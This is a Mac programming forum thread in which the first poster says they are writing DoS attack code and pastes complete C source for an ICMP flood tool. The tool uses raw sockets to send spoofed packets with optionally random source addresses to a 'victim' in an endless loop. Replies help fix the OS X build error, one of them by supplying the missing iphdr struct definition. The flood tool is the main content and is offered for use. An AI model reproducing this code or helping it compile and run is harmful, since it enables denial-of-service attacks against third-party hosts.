Results 1 to 3 of 3
  1. #1


    Member Since
    Jun 24, 2010
    Posts
    1
    Help to understand.
    Hi guys. I write code for dos attack. When I do attempt to build the project, got 2 errors.

    Such as:
    1. error: invalid application of 'sizeof' to incomplete type 'struct iphdr'
    2. error: dereferencing pointer to incomplete type

    2 in code
    Code:
    /* Fill the IP - header */ and /* Get a new IP - the source address if the first command line argument was specified random */
    1 in code

    Code:
    char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
    and
    struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));
    At Linux build is successful!

    Xcode Version 3.0
    OS Mac OS X Leopard 10.5.8

    This code
    Code:
    #include <netdb.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <strings.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    
    /*-------------------------------------------*/
    /*     Convert host name to IP - adвress     */
    /*-------------------------------------------*/
    unsigned long resolve(char *hostname){
    
    	struct hostent *hp;
    	if((hp = gethostbyname(hostname)) == NULL){
    			herror("gethostbyname() faild");
    			exit(-1);
    	}
    	return *(unsigned long *)hp -> h_addr_list[0];
    }
    
    /*-------------------------------------------*/
    /*		        Checksumming                */
    /*-------------------------------------------*/
    unsigned short in_cksum(unsigned short *addr, int len){
    
    	unsigned short result;
    	unsigned int sum = 0;
    	
    	/* Adds all double-byte words */
    	while(len > 1){
    		sum += *addr++;
    		len -= 2;
    	}
    	
    	/* If the left byte, we add it to the sum */
    	if(len == 1) sum += *(unsigned char*) addr;
    	sum = (sum >> 16) + (sum & 0xFFFF);
    	
    	/* Adds an Transfer */
    	sum += (sum >> 16);
    	/* again */
    	result = ~sum;
    	/* Invert the result */
    	return result;
    }
    
    /*-------------------------------------------*/
    /*                  main()                   */
    /*-------------------------------------------*/
    int main (int argc, const char * argv[]) {
    	
    	int sd, rnd = 0;
    	const int on = 1;
    	unsigned long dstaddr, srcaddr;
    	struct sockaddr_in servaddr;
    	
    	char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
    	struct iphdr *ip_hdr = (struct iphdr *)sendbuf;
    	struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));
    	
    	if(argc != 3){
    		fprintf(stderr,"Usage: %s <source address | random> <destination address>\n", argv[0]);
    		exit(-1);
    	}
    	
    	/* Creating RAW - socket */
    	if((sd + socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
    		perror("socket() faild");
    		exit(-1);
    	}
    	
    	/* Since we own to fill in IP - header, set the option IP_HDRINCL */
    	if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0){
    		perror("setsockopt() faild");
    		exit(-1);
    	}
    	
    	/* We provide the ability to send broadcast messages widely */
    	if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0){
    		perror("setsockopt() faild");
    		exit(-1);
    	}
    	
    	/* If the first command line argument specified random, then the IP - the source address is chosen randomly */
    	if(!strcmp(argv[1], "random")){
    		rnd = 1;
    		srcaddr = random();
    	}else srcaddr = resolve(argv[1]);
    	
    	/* IP - address of the victim */
    	dstaddr = resolve(argv[2]);
    	bzero(&servaddr, sizeof(servaddr));
    	servaddr.sin_family = AF_INET;
    	servaddr.sin_addr.s_addr = dstaddr;
    	
    	/* Fill the IP - header */
    	ip_hdr->ihl = 5;
    	ip_hdr->version = 4;
    	ip_hdr->tos     = 0;
    	ip_hdr->tot_len = htons(sizeof(struct iphdr *) + sizeof(struct icmp) + 1400);
    	ip_hdr->id       = 0;
    	ip_hdr->frag_off = 0;
    	ip_hdr->tt1      = 255;
    	ip_hdr->protocol = IPPROTO_ICMP;
    	ip_hdr->check = 0;
    	ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr *));
    	ip_hdr->saddr = srcaddr;
    	ip_hdr->daddr = dstaddr;
    	
    	/* Fill ICMP - header */
    	icmp_hdr->icmp_type = ICMP_ECHO;
    	icmp_hdr->icmp_code = 0;
    	icmp_hdr->icmp_id = 1;
    	icmp_hdr->icmp_seq = 1;
    	icmp_hdr->icmp_cksum = 0;
    	icmp_hdr->icmp_cksum = in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400);
    	
    	/* In the endless cycle of sending packets */
    	while(1){
    		if(sendto(sd, sendbuf, sizeof(sendbuf), 0, (struct sockaddr *)&servaddr, 
    				  sizeof(servaddr)) < 0){
    					perror("sento() faild");
    					exit(-1);
    				  }
    		/* Get a new IP - the source address if the first command line argument was specified random */
    		if(rnd) ip_hdr->saddr = random();
    	}
    	
        return 0;
    }

  2. #2


    Member Since
    Feb 25, 2009
    Posts
    2,112
    Specs:
    Late 2013 rMBP, i7, 750m gpu, OSX versions 10.9.3, 10.10
    <-- update edit -->
    I did a search on struct iphdr osx and it appears to not exist in the form you're using it. as you can see in this broken code: http://lists.linux-ha.org/pipermail/...ch/040031.html where it mentions struct iphdr not existing

    I wouldn't be surprised if this line:
    Code:
    char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
    still doesn't work quite right as you're dynamically declaring the size of an array using a method usually used for statically sized arrays (ie: using the []) At least the way I was taught, if you're creating an array that is dynamically sized (as sizeof is calculated at runtime not compile time) you'd use a pointer and malloc/free to allocate and release the memory.

    <-- end update edit -->

    <-- original post deleted -->
    My Macs: Late 2013 rMBP w/ 750m, 16Gig ram; 2013 Mac Pro 6 core w/ D700, 16Gig Ram; Mac mini G4, 1.25 GHz, 512m ram (server); Late 2011 11" MBA, 1.8GHz i7, 4Gig Ram, 256Gig SSD, HD3000; Powerbook 12" G4 1.33GHz running Linux; Apple TV (1080p version)

  3. #3


    Member Since
    Apr 05, 2011
    Posts
    1
    Since this was the first thing that popped up in google when I tried to solve the same problem, I have included the answer:

    Just define the structure yourself.

    osx_compat.h
    Code:
     
    struct iphdr 
      { 
    #if __BYTE_ORDER == __LITTLE_ENDIAN
        unsigned int ihl:4;
        unsigned int version:4;
    #elif __BYTE_ORDER == __BIG_ENDIAN
        unsigned int version:4;
        unsigned int ihl:4;
    #else
    # error  "Please fix <bits/endian.h>"
    #endif
        u_int8_t tos;
        u_int16_t tot_len;
        u_int16_t id;
        u_int16_t frag_off;
        u_int8_t ttl;
        u_int8_t protocol;
        u_int16_t check;
        u_int32_t saddr;
        u_int32_t daddr;
        /*The options start here. */
      };

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Help to understand
    By ortus in forum Movies and Video
    Replies: 1
    Last Post: 03-10-2008, 03:39 AM
  2. I don't understand...
    By milk is white in forum OS X - Operating System
    Replies: 6
    Last Post: 08-17-2007, 09:20 PM
  3. I'll never understand why...
    By mynameis in forum Apple Desktops
    Replies: 8
    Last Post: 07-03-2005, 02:36 AM
  4. I don't understand :(
    By PinkPhishDoors in forum Apple Rumors and Reports
    Replies: 6
    Last Post: 10-21-2004, 08:30 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •